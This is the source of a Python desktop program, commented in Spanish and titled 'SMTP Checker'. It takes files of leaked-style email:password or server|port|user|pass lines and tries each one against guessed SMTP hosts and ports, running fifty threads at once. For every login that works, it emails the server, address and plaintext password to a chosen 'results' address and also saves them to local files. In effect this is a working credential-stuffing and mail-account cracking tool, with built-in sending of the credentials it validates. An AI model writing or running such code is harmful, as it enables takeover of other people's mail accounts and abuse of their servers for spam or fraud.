main.py

import sys
import os
import threading
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor
from email.message import EmailMessage
import smtplib
import ssl

from PySide6.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout, 
                             QHBoxLayout, QPushButton, QLabel, QLineEdit, 
                             QTextEdit, QFileDialog, QTabWidget, QProgressBar,
                             QMessageBox, QComboBox)
from PySide6.QtCore import Qt, Signal, QObject, Slot
from PySide6.QtGui import QFont, QColor, QPalette, QIcon

# Asegurar que exista la carpeta Result
if not os.path.exists(os.path.join(os.getcwd(), "Result")):
    os.mkdir("Result")

# Clase para manejar señales entre hilos
class WorkerSignals(QObject):
    update_log = Signal(str)
    update_stats = Signal(int, int)
    finished = Signal()

class SMTPChecker:
    def __init__(self, signals):
        self.valid = 0
        self.invalid = 0
        self.host = ["mail.", 'smtp.', 'email.']
        self.port = [465, 587, 25]
        self.glob_tr = True
        self.signals = signals
        self.timeout = 15  # Timeout en segundos para conexiones SMTP

    def smtp_testor(self, rec_email, email, pas, port, server, dt):
        try:
            sender = email
            recipient = rec_email
            message = f"{server}|{email}|{pas}|{port}|\nSMTP RECEIVED\n"
            email_message = EmailMessage()
            email_message["From"] = sender
            email_message["To"] = recipient
            email_message["Subject"] = "Test Email"
            email_message.set_content(message)

            # Usar SMTP_SSL para puerto 465, SMTP+STARTTLS para puerto 587
            if port == 465:
                with smtplib.SMTP_SSL(server, port, timeout=self.timeout) as smtp:
                    smtp.login(sender, pas)
                    smtp.sendmail(sender, recipient, email_message.as_string())
            else:
                with smtplib.SMTP(server, port, timeout=self.timeout) as smtp:
                    smtp.connect(server, port)
                    smtp.ehlo()
                    if port == 587:
                        smtp.starttls()
                    smtp.login(sender, pas)
                    smtp.sendmail(sender, recipient, email_message.as_string())
            
            log_message = f"[*] VALID | {server} | {email} | {pas} | {port} |"
            self.signals.update_log.emit(log_message)
            
            with open(os.path.join(dt, f"[{server}].txt"), 'a', encoding='utf-8', errors='ignore') as sn:
                sn.write(f"{server}|{port}|{email}|{pas}\n")
            return True
        except Exception as e:
            log_message = f"[*] INVALID | {server} | {email} | {pas} | {port} | Error: {str(e)}"
            self.signals.update_log.emit(log_message)
            return False

    def format_mailcheck(self, mail, password, server, port, dt, recmail):
        try:
            if self.smtp_testor(recmail, mail, password, port, server, dt):
                self.valid += 1
            else:
                self.invalid += 1
            self.signals.update_stats.emit(self.valid, self.invalid)
        except Exception as e:
            self.invalid += 1
            self.signals.update_log.emit(f"Error en verificación: {str(e)}")
            self.signals.update_stats.emit(self.valid, self.invalid)

    def chkmain_format(self, combo, dt, recmail):
        try:
            self.signals.update_log.emit(f"Leyendo archivo: {combo}")
            valid_lines = 0
            invalid_format = 0
            
            with open(combo, errors="ignore", encoding='utf-8') as f, ThreadPoolExecutor(50) as m:
                for lin in f:
                    try:
                        line_data = lin.strip().split("|")
                        if len(line_data) == 4:
                            server, port, username, passwrdo = line_data
                            m.submit(self.format_mailcheck, username, passwrdo, server, int(port), dt, recmail)
                            valid_lines += 1
                        else:
                            invalid_format += 1
                            self.signals.update_log.emit(f"Error de formato en línea: {lin.strip()}")
                    except Exception as line_error:
                        self.signals.update_log.emit(f"Error procesando línea: {lin.strip()} - {str(line_error)}")
                m.shutdown(wait=True)
            
            # Crear un resumen de la operación
            summary = f"""=== RESUMEN DE OPERACIÓN ===
            Líneas procesadas: {valid_lines}
            Líneas con formato inválido: {invalid_format}
            SMTP válidos: {self.valid}
            SMTP inválidos: {self.invalid}
            ==========================="""
            
            self.signals.update_log.emit(summary)
            
            # Guardar resumen en archivo de resultados
            with open(os.path.join(dt, "_resumen.txt"), 'w', encoding='utf-8') as summary_file:
                summary_file.write(summary)
                
            self.glob_tr = False
            self.signals.finished.emit()
        except Exception as e:
            self.signals.update_log.emit(f"Error en proceso de verificación: {str(e)}")
            self.signals.finished.emit()

    def mailcheck(self, mail, pas, recmail, dt):
        try:
            # Verificar formato válido de correo
            if '@' not in mail:
                self.signals.update_log.emit(f"[*] FORMATO INVÁLIDO | {mail} | formato de correo incorrecto")
                self.invalid += 1
                self.signals.update_stats.emit(self.valid, self.invalid)
                return
                
            smtp_server = str(mail).split("@")[1]
            self.signals.update_log.emit(f"[*] Verificando {mail} en servidores...")
            
            for smt in self.host:
                for prt in self.port:
                    server = smt + smtp_server
                    if self.smtp_testor(recmail, mail, pas, prt, server, dt):
                        self.valid += 1
                    else:
                        self.invalid += 1
                    self.signals.update_stats.emit(self.valid, self.invalid)
        except Exception as e:
            self.signals.update_log.emit(f"[*] ERROR | {mail} | {str(e)}")
            self.invalid += 1
            self.signals.update_stats.emit(self.valid, self.invalid)

    def smtprunner(self, combo, dt, recmail):
        try:
            self.signals.update_log.emit(f"Leyendo archivo: {combo}")
            valid_lines = 0
            invalid_format = 0
            
            with open(combo, errors="ignore", encoding='utf-8') as f, ThreadPoolExecutor(50) as m:
                for lin in f:
                    try:
                        line = lin.strip()
                        if ':' in line:
                            mail, passp = line.split(":", 1)
                            m.submit(self.mailcheck, mail, passp, recmail, dt)
                            valid_lines += 1
                        else:
                            invalid_format += 1
                            self.signals.update_log.emit(f"Error de formato en línea: {line}")
                    except Exception as line_error:
                        self.signals.update_log.emit(f"Error procesando línea: {line} - {str(line_error)}")
                m.shutdown(wait=True)
            
            # Crear un resumen de la operación
            summary = f"""=== RESUMEN DE OPERACIÓN ===
            Líneas procesadas: {valid_lines}
            Líneas con formato inválido: {invalid_format}
            Emails válidos: {self.valid}
            Emails inválidos: {self.invalid}
            ==========================="""
            
            self.signals.update_log.emit(summary)
            
            # Guardar resumen en archivo de resultados
            with open(os.path.join(dt, "_resumen.txt"), 'w', encoding='utf-8') as summary_file:
                summary_file.write(summary)
                
            self.glob_tr = False
            self.signals.finished.emit()
        except Exception as e:
            self.signals.update_log.emit(f"Error en proceso de verificación: {str(e)}")
            self.signals.finished.emit()

    def pop3runner(self, combo, dt, recmail):
        self.signals.update_log.emit("POP3 checker not implemented yet.")
        self.signals.finished.emit()

    def imaprunner(self, combo, dt, recmail):
        self.signals.update_log.emit("IMAP checker not implemented yet.")
        self.signals.finished.emit()

class SMTPCheckerGUI(QMainWindow):
    def __init__(self):
        super().__init__()
        self.setWindowTitle("SMTP Checker - GUI")
        self.setMinimumSize(800, 600)
        
        # Configurar tema oscuro
        self.setup_dark_theme()
        
        # Inicializar variables
        self.combo_file = ""
        self.output_dir = ""
        self.checker_thread = None
        self.worker_signals = WorkerSignals()
        
        # Conectar señales
        self.worker_signals.update_log.connect(self.update_log)
        self.worker_signals.update_stats.connect(self.update_stats)
        self.worker_signals.finished.connect(self.on_check_finished)
        
        # Configurar UI
        self.setup_ui()
    
    def setup_dark_theme(self):
        app = QApplication.instance()
        
        # Configurar paleta de colores oscura
        palette = QPalette()
        palette.setColor(QPalette.Window, QColor(53, 53, 53))
        palette.setColor(QPalette.WindowText, Qt.white)
        palette.setColor(QPalette.Base, QColor(25, 25, 25))
        palette.setColor(QPalette.AlternateBase, QColor(53, 53, 53))
        palette.setColor(QPalette.ToolTipBase, Qt.white)
        palette.setColor(QPalette.ToolTipText, Qt.white)
        palette.setColor(QPalette.Text, Qt.white)
        palette.setColor(QPalette.Button, QColor(53, 53, 53))
        palette.setColor(QPalette.ButtonText, Qt.white)
        palette.setColor(QPalette.BrightText, Qt.red)
        palette.setColor(QPalette.Link, QColor(42, 130, 218))
        palette.setColor(QPalette.Highlight, QColor(42, 130, 218))
        palette.setColor(QPalette.HighlightedText, Qt.black)
        
        app.setPalette(palette)
        
        # Estilo adicional para widgets específicos
        app.setStyleSheet("""
            QTabWidget::pane {
                border: 1px solid #444;
                background-color: #2d2d2d;
            }
            QTabBar::tab {
                background-color: #3a3a3a;
                color: #ffffff;
                padding: 8px 16px;
                margin-right: 2px;
                border-top-left-radius: 4px;
                border-top-right-radius: 4px;
            }
            QTabBar::tab:selected {
                background-color: #2d2d2d;
                border-bottom: 2px solid #0078d7;
            }
            QPushButton {
                background-color: #0078d7;
                color: white;
                border: none;
                padding: 8px 16px;
                border-radius: 4px;
            }
            QPushButton:hover {
                background-color: #1e88e5;
            }
            QPushButton:pressed {
                background-color: #005fa3;
            }
            QPushButton:disabled {
                background-color: #555555;
                color: #aaaaaa;
            }
            QLineEdit, QTextEdit, QComboBox {
                background-color: #333333;
                border: 1px solid #555555;
                border-radius: 4px;
                padding: 4px;
                color: white;
            }
            QProgressBar {
                border: 1px solid #555555;
                border-radius: 4px;
                text-align: center;
                background-color: #333333;
            }
            QProgressBar::chunk {
                background-color: #0078d7;
                width: 10px;
                margin: 0.5px;
            }
        """)
    
    def setup_ui(self):
        # Widget principal
        central_widget = QWidget()
        self.setCentralWidget(central_widget)
        
        # Layout principal
        main_layout = QVBoxLayout(central_widget)
        
        # Título
        title_label = QLabel("SMTP CHECKER")
        title_label.setAlignment(Qt.AlignCenter)
        title_font = QFont("Arial", 18, QFont.Bold)
        title_label.setFont(title_font)
        title_label.setStyleSheet("color: #0078d7; margin: 10px;")
        main_layout.addWidget(title_label)
        
        # Tabs
        self.tabs = QTabWidget()
        main_layout.addWidget(self.tabs)
        
        # Tab 1: EMAIL:PASS
        self.tab1 = QWidget()
        self.tabs.addTab(self.tab1, "EMAIL:PASS")
        
        # Tab 2: SERVER|PORT|USERNAME|PASS
        self.tab2 = QWidget()
        self.tabs.addTab(self.tab2, "SERVER|PORT|USERNAME|PASS")
        
        # Tab 3: POP3
        self.tab3 = QWidget()
        self.tabs.addTab(self.tab3, "POP3")

        # Tab 4: IMAP
        self.tab4 = QWidget()
        self.tabs.addTab(self.tab4, "IMAP")

        # Configurar Tab 1
        self.setup_tab1()
        
        # Configurar Tab 2
        self.setup_tab2()

        # Configurar Tab 3
        self.setup_tab3()

        # Configurar Tab 4
        self.setup_tab4()
        
        # Área de logs común
        log_group_layout = QVBoxLayout()
        
        # Estadísticas
        stats_layout = QHBoxLayout()
        
        self.valid_label = QLabel("Válidos: 0")
        self.valid_label.setStyleSheet("color: #4caf50;")
        stats_layout.addWidget(self.valid_label)
        
        self.invalid_label = QLabel("Inválidos: 0")
        self.invalid_label.setStyleSheet("color: #f44336;")
        stats_layout.addWidget(self.invalid_label)
        
        log_group_layout.addLayout(stats_layout)
        
        # Barra de progreso
        self.progress_bar = QProgressBar()
        self.progress_bar.setRange(0, 100)
        self.progress_bar.setValue(0)
        log_group_layout.addWidget(self.progress_bar)
        
        # Área de logs
        self.log_text = QTextEdit()
        self.log_text.setReadOnly(True)
        log_group_layout.addWidget(self.log_text)
        
        main_layout.addLayout(log_group_layout)
    
    def setup_tab1(self):
        layout = QVBoxLayout(self.tab1)
        
        # Selección de archivo
        file_layout = QHBoxLayout()
        file_label = QLabel("Archivo EMAIL:PASS:")
        file_layout.addWidget(file_label)
        
        self.file_path1 = QLineEdit()
        self.file_path1.setReadOnly(True)
        file_layout.addWidget(self.file_path1)
        
        browse_button = QPushButton("Examinar")
        browse_button.clicked.connect(lambda: self.browse_file(1))
        file_layout.addWidget(browse_button)
        
        layout.addLayout(file_layout)
        
        # Email para recibir resultados
        email_layout = QHBoxLayout()
        email_label = QLabel("Email para recibir resultados:")
        email_layout.addWidget(email_label)
        
        self.email_input1 = QLineEdit()
        email_layout.addWidget(self.email_input1)
        
        layout.addLayout(email_layout)
        
        # Botón para iniciar
        start_button = QPushButton("Iniciar Verificación")
        start_button.clicked.connect(lambda: self.start_check(1))
        layout.addWidget(start_button)
        
        # Espaciador
        layout.addStretch()
    
    def setup_tab2(self):
        layout = QVBoxLayout(self.tab2)
        
        # Selección de archivo
        file_layout = QHBoxLayout()
        file_label = QLabel("Archivo SERVER|PORT|USERNAME|PASS:")
        file_layout.addWidget(file_label)
        
        self.file_path2 = QLineEdit()
        self.file_path2.setReadOnly(True)
        file_layout.addWidget(self.file_path2)
        
        browse_button = QPushButton("Examinar")
        browse_button.clicked.connect(lambda: self.browse_file(2))
        file_layout.addWidget(browse_button)
        
        layout.addLayout(file_layout)
        
        # Email para recibir resultados
        email_layout = QHBoxLayout()
        email_label = QLabel("Email para recibir resultados:")
        email_layout.addWidget(email_label)
        
        self.email_input2 = QLineEdit()
        email_layout.addWidget(self.email_input2)
        
        layout.addLayout(email_layout)
        
        # Botón para iniciar
        start_button = QPushButton("Iniciar Verificación")
        start_button.clicked.connect(lambda: self.start_check(2))
        layout.addWidget(start_button)
        
        # Espaciador
        layout.addStretch()
    
    def setup_tab3(self):
        layout = QVBoxLayout(self.tab3)
        
        # Selección de archivo
        file_layout = QHBoxLayout()
        file_label = QLabel("Archivo POP3:")
        file_layout.addWidget(file_label)
        
        self.file_path3 = QLineEdit()
        self.file_path3.setReadOnly(True)
        file_layout.addWidget(self.file_path3)
        
        browse_button = QPushButton("Examinar")
        browse_button.clicked.connect(lambda: self.browse_file(3))
        file_layout.addWidget(browse_button)
        
        layout.addLayout(file_layout)
        
        # Email para recibir resultados
        email_layout = QHBoxLayout()
        email_label = QLabel("Email para recibir resultados:")
        email_layout.addWidget(email_label)
        
        self.email_input3 = QLineEdit()
        email_layout.addWidget(self.email_input3)
        
        layout.addLayout(email_layout)
        
        # Botón para iniciar
        start_button = QPushButton("Iniciar Verificación")
        start_button.clicked.connect(lambda: self.start_check(3))
        layout.addWidget(start_button)
        
        # Espaciador
        layout.addStretch()

    def setup_tab4(self):
        layout = QVBoxLayout(self.tab4)
        
        # Selección de archivo
        file_layout = QHBoxLayout()
        file_label = QLabel("Archivo IMAP:")
        file_layout.addWidget(file_label)
        
        self.file_path4 = QLineEdit()
        self.file_path4.setReadOnly(True)
        file_layout.addWidget(self.file_path4)
        
        browse_button = QPushButton("Examinar")
        browse_button.clicked.connect(lambda: self.browse_file(4))
        file_layout.addWidget(browse_button)
        
        layout.addLayout(file_layout)
        
        # Email para recibir resultados
        email_layout = QHBoxLayout()
        email_label = QLabel("Email para recibir resultados:")
        email_layout.addWidget(email_label)
        
        self.email_input4 = QLineEdit()
        email_layout.addWidget(self.email_input4)
        
        layout.addLayout(email_layout)
        
        # Botón para iniciar
        start_button = QPushButton("Iniciar Verificación")
        start_button.clicked.connect(lambda: self.start_check(4))
        layout.addWidget(start_button)
        
        # Espaciador
        layout.addStretch()

    def browse_file(self, tab_index):
        file_path, _ = QFileDialog.getOpenFileName(
            self, "Seleccionar archivo", "", "Archivos de texto (*.txt)"
        )
        
        if file_path:
            if tab_index == 1:
                self.file_path1.setText(file_path)
            elif tab_index == 2:
                self.file_path2.setText(file_path)
            elif tab_index == 3:
                self.file_path3.setText(file_path)
            else:
                self.file_path4.setText(file_path)
    
    def create_output_dir(self):
        current_datetime = datetime.now().strftime("%m-%d-%y_%H-%M-%S")
        current = os.path.join(os.getcwd(), "Result")
        output_dir = os.path.join(current, current_datetime)
        os.mkdir(output_dir)
        return output_dir
    
    def start_check(self, tab_index):
        # Validar entradas
        if tab_index == 1:
            file_path = self.file_path1.text()
            email = self.email_input1.text()
        elif tab_index == 2:
            file_path = self.file_path2.text()
            email = self.email_input2.text()
        elif tab_index == 3:
            file_path = self.file_path3.text()
            email = self.email_input3.text()
        else:
            file_path = self.file_path4.text()
            email = self.email_input4.text()

        if not file_path:
            QMessageBox.warning(self, "Error", "Por favor seleccione un archivo.")
            return
        
        if not email:
            QMessageBox.warning(self, "Error", "Por favor ingrese un email para recibir los resultados.")
            return
        
        # Crear directorio de salida
        self.output_dir = self.create_output_dir()
        
        # Limpiar logs y estadísticas
        self.log_text.clear()
        self.valid_label.setText("Válidos: 0")
        self.invalid_label.setText("Inválidos: 0")
        
        # Guardar información de la sesión
        with open(os.path.join(self.output_dir, "_info.txt"), 'w', encoding='utf-8') as info_file:
            info_file.write(f"Fecha y hora: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
            info_file.write(f"Archivo de entrada: {file_path}\n")
            info_file.write(f"Email de resultados: {email}\n\n")
        
        # Iniciar verificación en un hilo separado
        self.checker = SMTPChecker(self.worker_signals)
        
        if tab_index == 1:
            self.checker_thread = threading.Thread(
                target=self.checker.smtprunner,
                args=(file_path, self.output_dir, email)
            )
        elif tab_index == 2:
            self.checker_thread = threading.Thread(
                target=self.checker.chkmain_format,
                args=(file_path, self.output_dir, email)
            )
        elif tab_index == 3:
            self.checker_thread = threading.Thread(
                target=self.checker.pop3runner,
                args=(file_path, self.output_dir, email)
            )
        else:
            self.checker_thread = threading.Thread(
                target=self.checker.imaprunner,
                args=(file_path, self.output_dir, email)
            )
        
        self.checker_thread.daemon = True
        self.checker_thread.start()
        
        # Actualizar UI
        self.log_text.append("Iniciando verificación...")
        self.progress_bar.setRange(0, 0)  # Modo indeterminado
    
    @Slot(str)
    def update_log(self, message):
        self.log_text.append(message)
        # Auto-scroll al final
        scrollbar = self.log_text.verticalScrollBar()
        scrollbar.setValue(scrollbar.maximum())
    
    @Slot(int, int)
    def update_stats(self, valid, invalid):
        self.valid_label.setText(f"Válidos: {valid}")
        self.invalid_label.setText(f"Inválidos: {invalid}")
    
    @Slot()
    def on_check_finished(self):
        self.progress_bar.setRange(0, 100)
        self.progress_bar.setValue(100)
        
        self.log_text.append("\n=== Verificación completada ===")
        self.log_text.append(f"Resultados guardados en: {self.output_dir}")
        
        # Abrir la carpeta de resultados
        try:
            os.startfile(self.output_dir)
        except:
            pass
        
        QMessageBox.information(
            self, 
            "Verificación Completada", 
            f"Verificación completada.\nVálidos: {self.checker.valid}\nInválidos: {self.checker.invalid}\n\nLos resultados han sido guardados en la carpeta Result."
        )

if __name__ == "__main__":
    try:
        app = QApplication(sys.argv)
        window = SMTPCheckerGUI()
        window.show()
        sys.exit(app.exec())
    except Exception as e:
        print(f"Error al iniciar la aplicación: {str(e)}")
        import traceback
        traceback.print_exc()